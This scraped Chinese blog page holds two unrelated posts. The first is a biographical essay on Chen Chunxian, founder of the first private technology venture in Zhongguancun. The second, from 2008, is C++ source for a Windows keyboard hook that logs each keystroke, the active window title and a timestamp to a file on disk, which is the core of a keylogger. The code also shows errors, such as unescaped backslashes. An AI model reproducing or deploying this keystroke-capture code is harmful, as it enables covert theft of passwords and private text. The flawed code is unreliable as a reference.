如果仅仅是这样写写报告、讲讲话,倒也罢了,陈春先却是想真的把自己当成试验品全部地投进去。在回国后的两个月里,他狂热地四处呼吁,向各个部门写报告提建议,终于,北京市科协认可了他的这个想法,同意借给他200元钱,并开证明准许他在银行开一个账户。12月23日,在美国硅谷传奇的鼓舞下,陈春先在中关村一个仓库的一角办起了国内第一个民营科技实体:“北京等离子体学会先进技术发展服务部”。跟陈春先一起跳进商海的还有中科院物理所、电子所、力学所的 14个科研人员。日后,中关村成为中国最重要的科研产品集散地,陈春先无疑是第一个先驱。1980年的北京之冬十分寒冷,整个12月共下了六场鹅毛大雪,有报道说,这年冬天的下雪量是近二十年来最大的一次。陈春先骑着自行车日日踏雪跑业务,他的服务部在开业两个月后终于接到了第一单生意,海淀区一个街道小厂的厂长问上门兜售业务的核聚变科学家陈春先:“你能帮我们解决一下电源上的问题吗?”陈春先愣了一下,然后说,“当然能,你可以给多少钱?”

中关村要真正热闹起来,还要等三到四年。在陈春先办服务部的当时,却引起中科院内外很大的震动,几乎所有的人都认为他不务正业。这时,出身巴蜀的陈春先表现出川人特有的倔犟,他像疯了一样地四处去跑业务,这位研究艰深的核聚变技术的科学家不得不为15个人的生存做“稻粱谋”。在创业的第一年,他的服务部有了两万多元的收入,这在当时不算是一个小数目,陈春先因而给大家每人每月发了15元的津贴,这件事在清贫的中科院里顿时溅起轩然大波,告状的人忿忿地说,陈春先搞歪门邪道,居然自己给自己长了两级工资。到1983年,陈春先签订了27个合同,与海淀区的4个集体所有制的小工厂建立了技术协作关系,还帮助海淀区创建了海淀新技术实验厂和3个技术服务机构。陈春先为服务部所设定的经营原则后来成为中国民营高科技公司创办的共同规律,那就是:科技人员走出研究院所,遵循科技转化规律,市场经济规律,不要国家拨款,不占国家编制,自筹资金、自负盈亏、自主经营、依法自主决策。在他被怀疑、辱骂和嘲笑的身后,渐渐地,在中关村一带出现了零星的技术小公司。在媒体的报道下,陈春先的实践引起了上层的关注,当时主管经济工作的胡启立、方毅都做了批示,对他大为褒扬。

在这些举措的触动下,海淀区放宽了中关村办公司的政策。1984年,四通、信通、科海、京海及后来非常著名的联想公司相继诞生,“中关村电子一条街”初具规模,到1992年,这里的民营科技公司已达到5180家。

陈春先的研究方向是高深的核聚变,他参与创建了中国第一个核聚变基地,在中科院物理所建立了国内第一个托卡马克装置。而在中关村,他的这些专业几乎都派不上用场。从1980年以后,陈春先基本上放弃了学术研究。他把服务部改组成华夏硅谷公司,只要有生意上门他都乐此不疲地去谈判,他的公司做过的最大一笔业务是帮助一家美国公司做数据录入,他为此聘用了100多个大学生,1000个字符挣0.4元,如果顺利,一年可以得到30万美元的收入,但是这个业务后来也半途流产了。

陈春先显然不是一个优秀的经营者,在他的首倡下,中关村日渐规模膨胀,而他的公司却始终委靡不大,与联想、方正、同方等后起之秀不可同日而语。十多年来,他多次卷入经济纠纷,甚至还先后两次遭人绑架。他对人感慨说:“思想活跃也好,能悟出潜在的增值地方也罢,都不等于能够办好公司。相反,办好公司的企业家大都是搞营销、搞金融,有很强管理能力的人,而不是真正的科学家。我不是一个成功的企业家,这一点没有什么好回避的。”

陈春先晚年成为一个“历史人物”,平日无人记挂,到了某些纪念日则有媒体上门采访一二。很多人以为,他当年若一直在实验室工作,将成一个伟大的科学家。而他自己则说了这样的一段话:“我觉得每一代人只能做他当时认为最重要的事。人活着总要做点事,做了这件,也许就要放弃那一件。我做事从不后悔,即使做了较为愚蠢的事,也不后悔,因为时间总是在往前走的。”

陈春先是一个倔犟的四川成都人。他很应该被人长久的纪念。互联网上有一个专门的陈春先纪念网站(http://www.chenchunxian.com)。除了几个知情人,那是一个几乎被彻底遗忘的网站。



 
Redfox @ 2008-06-11 13:28

//處理過程
LRESULT CALLBACK KeyboardRecordProc(
  int code,       // hook code
  WPARAM wParam,  // undefined
  LPARAM lParam   // address of message being processed
)
{

    if(code==HC_ACTION)
    {
        EVENTMSG *pEvtMsg = (EVENTMSG *)lParam;
//和時間
        stream = fopen("D:\CCDeath.txt","a+t");//創建一個文件流指針向該文件
        //處理按鍵消息
        if(pEvtMsg->message==WM_KEYDOWN)
        {
            int vKey= LOBYTE(pEvtMsg->paramL);//取得虛擬鍵值
            
            g_hCurrentFocusWnd=GetForegroundWindow();//取得當前活動窗口句柄
            if(g_hLastFocusWnd!=g_hCurrentFocusWnd)
            {
                GetWindowText(g_hCurrentFocusWnd,szTitle,256);//獲得標題                
                g_hLastFocusWnd=g_hCurrentFocusWnd;    
            
                SYSTEMTIME mytime;//獲得當前時間與日期
                GetLocalTime(&mytime);
                CString m_time,m_Space,m_Back;
                
                m_time.Format("\r\n記錄時間:%d年%d月%d日,%02d小時%d分鐘%d秒\r\n記錄的文件名:",mytime.wYear,mytime.wMonth,\
                    mytime.wDay,mytime.wHour,mytime.wMinute,mytime.wSecond);
                m_Space="\r\n-------------------------------------------"; // 開   頭                
                m_Back="\r\n記錄的內容:\r\n";//結束
                fprintf(stream,"%s%s%s%s",m_Space,m_time,szTitle,m_Back);//寫入文件
            }
            //測試SHIFT,CAPTION,NUMLOCK等鍵是否按下
            int IsShift = GetKeyState(0x10);
            int    IsNumLock = GetKeyState(0x90);
            int IsCapsLock = GetKeyState(0x14);
            bool bShift=(IsShift & g_KeyPressMass)==g_KeyPressMass;
            bool bCapsLock=((IsCapsLock & 1) ==1);
            bool bNumLock=((IsNumLock & 1) ==1);
            if(vKey>=48 && vKey<=57)//數字0到9
            {
                if(!bShift)//shift+1=!上檔鍵
                {
                    fprintf(stream,"%c",vKey);//寫入0到九
                }
            }
            if(vKey>=65 && vKey<=90)//字符大寫A-Z
            {
                if(!bCapsLock)//沒有大小鎖定鍵
                {
                    if(!bShift)//Shit+A=a \A+32=a;
                    {
                        ch=vKey+32;

                    }
                    else ch=vKey;
                }
                fprintf(stream,"%c",ch);
            }
            if (vKey >=96 && vKey<=105) // 小鍵盤0-9
            {
                    if (bNumLock) fprintf(stream,"%c",vKey-96+48);
            }
            if (vKey>=186 && vKey<=222) // 其他鍵
            {
                switch (vKey)
                {
                    case 186:if (!bShift) ch=';'; else ch=':';break;
                    case 187:if (!bShift) ch='='; else ch='+';break;
                    case 188:if (!bShift) ch=','; else ch='<' ;break;
                    case 189:if (!bShift) ch='-'; else ch='_';break;
                    case 190:if (!bShift) ch='.'; else ch='>';break;  
                    case 191:if (!bShift) ch='/'; else ch='?';break;  
                    case 192:if (!bShift) ch='`'; else ch='~';break;  
                    case 219:if (!bShift) ch='['; else ch='{';break;  
                    case 220:if (!bShift) ch='\'; else ch='|';break;  
                    case 221:if (!bShift) ch=']'; else ch='}';break;  
                    case 222:if (!bShift) ch='\''; else ch='\"';break;  
                    default:ch='n';break;  
                }
                if (ch!='n') fprintf(stream,"%c",ch);  //n是110n回車 此時應該換行才對


            }
           if(vKey==9)            //TAB
              fprintf(stream,"%c",'\t');
           if(vKey==13)            //回車鍵
              fprintf(stream,"%c",'\n');

        }

        fclose(stream);        

        return CallNextHookEx(g_hKeyBoard,code,wParam,lParam);
    }
    if(code<0)
    {
        return CallNextHookEx(g_hKeyBoard,code,wParam,lParam);
    }
//    return CallNextHookEx(g_hKeyBoard,code,wParam,lParam);


}



 
日历
网志分类
『所有网志』 (445)
心情故事 (146)
我的作品 (1)
网文经典 (113)
国家大事 (30)
诗词曲赋 (15)
lrc歌词 (10)
电脑技术 (1)
Win32i编程 (23)
.Net 技術 (2)
Java学习笔记 (30)
Internet/TCP/UDP (18)
OOP与设计模式 (1)
美图欣赏 (5)
Web与XML (22)
蓝牙技术 (8)
Win32ASM (2)
最新留言
08/14 迟到的“顶”字...
08/05 扁鹊三兄弟的故...
07/22 注意身体吖。要...
07/22 很先进啊,全自...
07/18 纪念一下,也唾...
07/07 很高深,很强大...
06/22 值得缅怀[:C...
站内搜索
友情链接
[我的歪酷]
分享 Java
J2ME电子书
站在大世界
阳光人才网 - 我的人才库
yczealot的所行所思所感
FreeBSD 中文手册
moonight
皮皮鲁鲁西西
PiggyXP【小猪】的专栏
淡月儿(CSDN水园第一才女)
roboMM的网上家园 (J2ME笔记)
你刻骨铭心,我云淡风清
Web2.0 資料
我的ys168空间
gcp 的空间
老头子土地
苏吴子弟
中国艺术
何新论坛
全国 IT 公司速查手册
seule的家庭主妇笔记
我的 efile 空间
DAVY's pad—住家男人备妄录
董事长日志
一百万个工具下载
食色性也(一个女生的 Blog)
往事并不如烟
gssoft (X的家)
润物有声
轻风细雨
~仙乐处处闻~
接触中国
品味辣鸡块
母猪女郎
北京女病人
Java研究组织
我和西藏有个约会
DEV365
麦田跑望者
茅十七的家(笑死神仙不偿命)
大寶 SODME (網絡)
sherrylso (C++,net)
雲風的Blog (網游)
订阅 RSS
0110557
歪酷博客